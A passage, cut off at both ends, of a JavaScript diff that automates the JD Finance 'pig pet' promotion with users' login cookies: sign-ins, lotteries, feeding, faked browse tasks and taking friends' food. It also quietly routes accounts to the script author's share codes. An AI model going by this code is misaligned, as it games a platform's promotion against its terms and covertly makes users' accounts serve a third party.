console.log('刷新CDN异常', e)); + await $.wait(2000) + res = await getAuthorShareCode('https://cdn.jsdelivr.net/gh/Aaron-lv/updateTeam@master/shareCodes/pigPet.json') + } + if (res && res.length) shareId = res[Math.floor((Math.random() * res.length))] + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + await TotalBean(); + console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await jdPigPet(); + } + } + let res2 = await getAuthorShareCode('https://raw.githubusercontent.com/Aaron-lv/updateTeam/master/shareCodes/pig.json') + if (!res2) { + $.http.get({url: 'https://purge.jsdelivr.net/gh/Aaron-lv/updateTeam@master/shareCodes/pig.json'}).then((resp) => {}).catch((e) => console.log('刷新CDN异常', e)); + await $.wait(2000) + res2 = await getAuthorShareCode('https://cdn.jsdelivr.net/gh/Aaron-lv/updateTeam@master/shareCodes/pig.json') + } + $.shareCodes = [...new Set([...$.shareCodes, ...(res2 || [])])] + console.log($.shareCodes) + console.log(`\n======开始大转盘助力======\n`); + for (let j = 0; j < cookiesArr.length; j++) { + cookie = cookiesArr[j]; + if ($.shareCodes && $.shareCodes.length) { + console.log(`\n自己账号内部循环互助\n`); + for (let item of $.shareCodes) { + await pigPetLotteryHelpFriend(item) + await $.wait(1000) + // if (!$.canRun) break + } + } + } + if (allMessage && new Date().getHours() % 6 === 0) { + if ($.isNode()) await notify.sendNotify($.name, allMessage); + $.msg($.name, '', allMessage); + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +async function jdPigPet() { + try { + $.notAddFood = false; + await pigPetLogin(); + if (!$.hasPig) return + await pigPetSignIndex(); + await pigPetSign(); + await pigPetOpenBox(); + await pigPetLotteryIndex(); + await pigPetLottery(); + if (process.env.JD_PIGPET_PK && process.env.JD_PIGPET_PK === 'true') { + await pigPetRank(); + } + await pigPetMissionList(); + await missions(); + if ($.notAddFood) { + console.log(`\n猪猪已成熟,跳过喂食`) + } else { + await pigPetUserBag(); + } + } catch (e) { + $.logErr(e) + } +} +async function pigPetLottery() { + if ($.currentCount > 0) { + for (let i = 0; i < $.currentCount; i++) { + await pigPetLotteryPlay(); + await $.wait(5000); + } + } +} +async function pigPetSign() { + if (!$.sign) { + await pigPetSignOne(); + } else { + console.log(`第${$.no}天已签到\n`) + } +} +function pigPetSignOne() { + return new Promise(async resolve => { + const body = { + "source": 2, + "channelLV": "juheye", + "riskDeviceParam": "{}", + "no": $.no + } + $.post(taskUrl('pigPetSignOne', body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + console.log('签到结果', data) + // data = JSON.parse(data); + // if (data.resultCode === 0) { + // if (data.resultData.resultCode === 0) { + // if (data.resultData.resultData) { + // console.log(`当前大转盘剩余免费抽奖次数::${data.resultData.resultData.currentCount}`); + // $.sign = data.resultData.resultData.sign; + // $.no = data.resultData.resultData.today; + // } + // } else { + // console.log(`查询签到情况异常:${JSON.stringify(data)}`) + // } + // } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +//查询背包食物 +function pigPetUserBag() { + return new Promise(async resolve => { + const body = {"source":2,"channelLV":"yqs","riskDeviceParam":"{}","t":Date.now(),"skuId":"1001003004","category":"1001"}; + $.post(taskUrl('pigPetUserBag', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data.resultCode === 0) { + if (data.resultData.resultCode === 0) { + if (data.resultData.resultData && data.resultData.resultData.goods) { + console.log(`\n食物名称 数量`); + for (let item of data.resultData.resultData.goods) { + console.log(`${item.goodsName} ${item.count}g`); + } + for (let item of data.resultData.resultData.goods) { + if (item.count >= 20) { + let num = 50; + $.finish = false; + $.remain = item.count + do { + console.log(`10秒后开始喂食${item.goodsName},当前数量为${$.remain}g`) + await $.wait(10000); + await pigPetAddFood(item.sku); + $.remain = $.remain - 20 + num-- + } while (num > 0 && !$.finish && $.remain >= 20) + } + } + } else { + console.log(`暂无食物`) + } + } else { + console.log(`开宝箱其他情况:${JSON.stringify(data)}`) + } + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +//喂食 +function pigPetAddFood(skuId) { + return new Promise(async resolve => { + //console.log(`skuId::::${skuId}`) + const body = { + "source": 2, + "channelLV": "yqs", + "riskDeviceParam": "{}", + "skuId": skuId.toString(), + "category": "1001", + } + $.post(taskUrl('pigPetAddFood', body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + console.log(`喂食结果:${data.resultData.resultMsg}`) + if (data.resultData.resultData && data.resultData.resultCode == 0) { + item = data.resultData.resultData.cote.pig + if (item.curLevel = 3 && item.currCount >= item.currLevelCount) { + console.log(`\n猪猪已经成年了,请及时前往京东金融APP领取奖励\n`) + $.finish = true + } + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function pigPetLogin() { + return new Promise(async resolve => { + const body = { + "shareId": shareId, + "source": 2, + "channelLV": "juheye", + "riskDeviceParam": "{}", + } + $.post(taskUrl('pigPetLogin', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data.resultCode === 0) { + if (data.resultData.resultCode === 0) { + $.hasPig = data.resultData.resultData.hasPig; + if (!$.hasPig) { + console.log(`\n京东账号${$.index} ${$.nickName} 未开启养猪活动,请手动去京东金融APP开启此活动\n`) + return + } + if (data.resultData.resultData.wished) { + if (data.resultData.resultData.wishAward) { + allMessage += `京东账号${$.index} ${$.nickName || $.UserName}\n${data.resultData.resultData.wishAward.name}已可兑换${$.index !== cookiesArr.length ? '\n\n' : ''}` + console.log(`【京东账号${$.index}】${$.nickName || $.UserName} ${data.resultData.resultData.wishAward.name}已可兑换,请及时去京东金融APP领取`) + $.notAddFood = true; + } + } + console.log(`\n【京东账号${$.index}】${$.nickName || $.UserName} 的邀请码为${data.resultData.resultData.user.shareId}\n`) + } else { + console.log(`Login其他情况:${JSON.stringify(data)}`) + } + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +//开宝箱 +function pigPetOpenBox() { + return new Promise(async resolve => { + const body = {"source":2,"channelLV":"yqs","riskDeviceParam":"{}","no":5,"category":"1001","t": Date.now()} + $.post(taskUrl('pigPetOpenBox', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + // console.log(data) + data = JSON.parse(data); + if (data.resultCode === 0) { + if (data.resultData.resultCode === 0) { + if (data.resultData.resultData && data.resultData.resultData.award) { + console.log(`开宝箱获得${data.resultData.resultData.award.content},数量:${data.resultData.resultData.award.count}\n`); + + } else { + console.log(`开宝箱暂无奖励\n`) + } + await $.wait(2000); + await pigPetOpenBox(); + } else if (data.resultData.resultCode === 420) { + console.log(`开宝箱失败:${data.resultData.resultMsg}\n`) + } else { + console.log(`开宝箱其他情况:${JSON.stringify(data)}\n`) + } + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +//查询大转盘的次数 +function pigPetLotteryIndex() { + $.currentCount = 0; + return new Promise(async resolve => { + const body = { + "source": 2, + "channelLV": "juheye", + "riskDeviceParam": "{}" + } + $.post(taskUrl('pigPetLotteryIndex', body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + // console.log(data) + data = JSON.parse(data); + if (data.resultCode === 0) { + if (data.resultData.resultCode === 0) { + if (data.resultData.resultData) { + console.log(`当前大转盘剩余免费抽奖次数:${data.resultData.resultData.currentCount}\n`); + console.log(`您的大转盘助力码为:${data.resultData.resultData.helpId}\n`); + $.shareCodes.push(data.resultData.resultData.helpId) + $.currentCount = data.resultData.resultData.currentCount; + } + } else { + console.log(`查询大转盘的次数:${JSON.stringify(data)}`) + } + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +//查询排行榜好友 +function pigPetRank() { + return new Promise(async resolve => { + const body = { + "type": 1, + "page": 1, + "source": 2, + "channelLV": "juheye", + "riskDeviceParam": "{}" + } + $.post(taskUrl('pigPetRank', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} pigPetRank API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + n = 0 + if (data.resultCode === 0) { + if (data.resultData.resultCode === 0 && n < 5) { + $.friends = data.resultData.resultData.friends + for (let i = 0; i < $.friends.length; i++) { + if ($.friends[i].status === 1) { + $.friendId = $.friends[i].uid + $.name = $.friends[i].nickName + if (!['zero205', 'xfa05'].includes($.name)) { //放过孩子吧TT + console.log(`去抢夺【${$.friends[i].nickName}】的食物`) + await $.wait(2000) + await pigPetFriendIndex($.friendId) + } + } + } + } else { + console.log(`查询排行榜失败:${JSON.stringify(data)}`) + } + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function pigPetFriendIndex(friendId) { + return new Promise(async resolve => { + const body = { + "friendId": friendId, + "source": 2, + "channelLV": "juheye", + "riskDeviceParam": "{}" + } + $.post(taskUrl('pigPetFriendIndex', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} pigPetFriendIndex API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data.resultCode === 0) { + if (data.resultData.resultCode === 0) { + await pigPetRobFood($.friendId) + await $.wait(3000) + } else { + console.log(`进入好友猪窝失败:${JSON.stringify(data)}`) + } + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +//抢夺食物 +async function pigPetRobFood(friendId) { + return new Promise(async resolve => { + const body = { + "source": 2, + "friendId": friendId, + "channelLV": "juheye", + "riskDeviceParam": "{}" + } + $.post(taskUrl('pigPetRobFood', body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data.resultCode === 0) { + if (data.resultData.resultCode === 0) { + if (data.resultData.resultData.robFoodCount > 0) { + console.log(`抢夺成功,获得${data.resultData.resultData.robFoodCount}g${data.resultData.resultData.robFoodName}\n`); + n++ + } else { + console.log(`抢夺失败,损失${data.resultData.resultData.robFoodCount}g${data.resultData.resultData.robFoodName}\n`); + } + } else { + console.log(`抢夺失败:${JSON.stringify(data)}\n`) + } + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +//查询签到情况 +function pigPetSignIndex() { + $.sign = true; + return new Promise(async resolve => { + const body = { + "source": 2, + "channelLV": "juheye", + "riskDeviceParam": "{}" + } + $.post(taskUrl('pigPetSignIndex', body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + // console.log(data) + data = JSON.parse(data); + if (data.resultCode === 0) { + if (data.resultData.resultCode === 0) { + if (data.resultData.resultData) { + $.sign = data.resultData.resultData.sign; + $.no = data.resultData.resultData.today; + } + } else { + console.log(`查询签到情况异常:${JSON.stringify(data)}`) + } + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +//抽奖 +function pigPetLotteryPlay() { + return new Promise(async resolve => { + const body = { + "source": 2, + "channelLV": "juheye", + "riskDeviceParam": "{}", + "validation": "", + "type": 0 + } + $.post(taskUrl('pigPetLotteryPlay', body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data.resultCode === 0) { + if (data.resultData.resultCode === 0) { + if (data.resultData.resultData) { + if (data.resultData.resultData.award) { + console.log(`大转盘抽奖获得:${data.resultData.resultData.award.name} * ${data.resultData.resultData.award.count}\n`); + } else { + console.log(`大转盘抽奖结果:没抽中,再接再励哦~\n`) + } + $.currentCount = data.resultData.resultData.currentCount;//抽奖后剩余的抽奖次数 + } + } else { + console.log(`其他情况:${JSON.stringify(data)}`) + } + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function pigPetLotteryHelpFriend(helpId) { + return new Promise(async resolve => { + const body = { + "source": 2, + "helpId": helpId, + "channelLV": "juheye", + "riskDeviceParam": "{}" + } + $.post(taskUrl('pigPetLotteryHelpFriend', body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data.resultCode === 0) { + if (data.resultData.resultCode === 0) { + if (data.resultData.resultData.opResult == 0) { + console.log(`大转盘助力结果:助力成功\n`); + } else if (data.resultData.resultData.opResult == 461) { + console.log(`大转盘助力结果:助力失败,已经助力过了\n`); + } else { + console.log(`大转盘助力结果:助力失败`); + } + } + } else { + console.log(`${JSON.stringify(data)}\n`) + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +async function missions() { + for (let item of $.missions) { + if (item.status === 4) { + console.log(`\n${item.missionName}任务已做完,开始领取奖励`) + await pigPetDoMission(item.mid); + await $.wait(1000) + } else if (item.status === 5) { + console.log(`\n${item.missionName}已领取`) + } else if (item.status === 3) { + console.log(`\n${item.missionName}未完成`) + if (item.mid === 'CPD01') { + await pigPetDoMission(item.mid); + } else { + await pigPetDoMission(item.mid); + await $.wait(1000) + let parse + if (item.url) { + parse = url.parse(item.url, true, true) + } else { + parse = {} + } + if (parse.query && parse.query.readTime) { + await queryMissionReceiveAfterStatus(parse.query.missionId); + await $.wait(parse.query.readTime * 1000) + await finishReadMission(parse.query.missionId, parse.query.readTime); + } else if (parse.query && parse.query.juid) { + await getJumpInfo(parse.query.juid) + await $.wait(4000) + } + } + } + } +} +//领取做完任务的奖品 +function pigPetDoMission(mid) { + return new Promise(async resolve => { + const body = { + "source": 2, + "channelLV": "", + "riskDeviceParam": "{}", + mid + } + $.post(taskUrl('pigPetDoMission', body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data.resultCode === 0) { + if (data.resultData.resultCode === 0) { + if (data.resultData.resultData) { + if (data.resultData.resultData.award) { + console.log(`奖励${data.resultData.resultData.award.name},数量:${data.resultData.resultData.award.count}`) + } + } + } else { + console.log(`其他情况:${JSON.stringify(data)}`) + } + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +//查询任务列表 +function pigPetMissionList() { + return new Promise(async resolve => { + const body = { + "source": 2, + "channelLV": "", + "riskDeviceParam": "{}", + } + $.post(taskUrl('pigPetMissionList', body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + // console.log(data) + data = JSON.parse(data); + if (data.resultCode === 0) { + if (data.resultData.resultCode === 0) { + if (data.resultData.resultData) { + $.missions = data.resultData.resultData.missions;//抽奖后剩余的抽奖次数 + } + } else { + console.log(`其他情况:${JSON.stringify(data)}`) + } + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function getJumpInfo(juid) { + return new Promise(async resolve => { + const body = {"juid":juid} + const options = { + "url": `${MISSION_BASE_API}/getJumpInfo?reqData=${escape(JSON.stringify(body))}`, + "headers": { + 'Host': 'ms.jr.jd.com', + 'Origin': 'https://active.jd.com', + 'Connection': 'keep-alive', + 'Accept': 'application/json', + "Cookie": cookie, + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Language': 'zh-cn', + 'Referer': 'https://u1.jr.jd.com/uc-fe-wxgrowing/cloudpig/index/', + 'Accept-Encoding': 'gzip, deflate, br' + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + console.log('getJumpInfo', data) + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function queryMissionReceiveAfterStatus(missionId) { + return new Promise(resolve => { + const body = {"missionId": missionId}; + const options = { + "url": `${MISSION_BASE_API}/queryMissionReceiveAfterStatus?reqData=${escape(JSON.stringify(body))}`, + "headers": { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-CN,zh;q=0.9", + "Connection": "keep-alive", + "Host": "ms.jr.jd.com", + "Cookie": cookie, + "Origin": "https://jdjoy.jd.com", + "Referer": "https://jdjoy.jd.com/", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + console.log('queryMissionReceiveAfterStatus', data) + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +//做完浏览任务发送信息API +function finishReadMission(missionId, readTime) { + return new Promise(async resolve => { + const body = {"missionId":missionId,"readTime":readTime * 1}; + const options = { + "url": `${MISSION_BASE_API}/finishReadMission?reqData=${escape(JSON.stringify(body))}`, + "headers": { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-CN,zh;q=0.9", + "Connection": "keep-alive", + "Host": "ms.jr.jd.com", + "Cookie": cookie, + "Origin": "https://jdjoy.jd.com", + "Referer": "https://jdjoy.jd.com/", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + console.log('finishReadMission', data) + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function getAuthorShareCode(url) { + return new Promise(async resolve => { + const options = { + url: `${url}?${new Date()}`, "timeout": 10000, headers: { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }; + if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { + const tunnel = require("tunnel"); + const agent = { + https: tunnel.httpsOverHttp({ + proxy: { + host: process.env.TG_PROXY_HOST, + port: process.env.TG_PROXY_PORT * 1 + } + }) + } + Object.assign(options, { agent }) + } + $.get(options, async (err, resp, data) => { + try { + resolve(JSON.parse(data)) + } catch (e) { + // $.logErr(e, resp) + } finally { + resolve(); + } + }) + await $.wait(10000) + resolve(); + }) +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function taskUrl(function_id, body) { + return { + url: `${JD_API_HOST}/${function_id}?_=${Date.now()}`, + body: `reqData=${encodeURIComponent(JSON.stringify(body))}`, + headers: { + 'Accept': `*/*`, + 'Origin': `https://u.jr.jd.com`, + 'Accept-Encoding': `gzip, deflate, br`, + 'Cookie': cookie, + 'Content-Type': `application/x-www-form-urlencoded;charset=UTF-8`, + 'Host': `ms.jr.jd.com`, + 'Connection': `keep-alive`, + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Referer': `https://u.jr.jd.com/`, + 'Accept-Language': `zh-cn` + } + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const 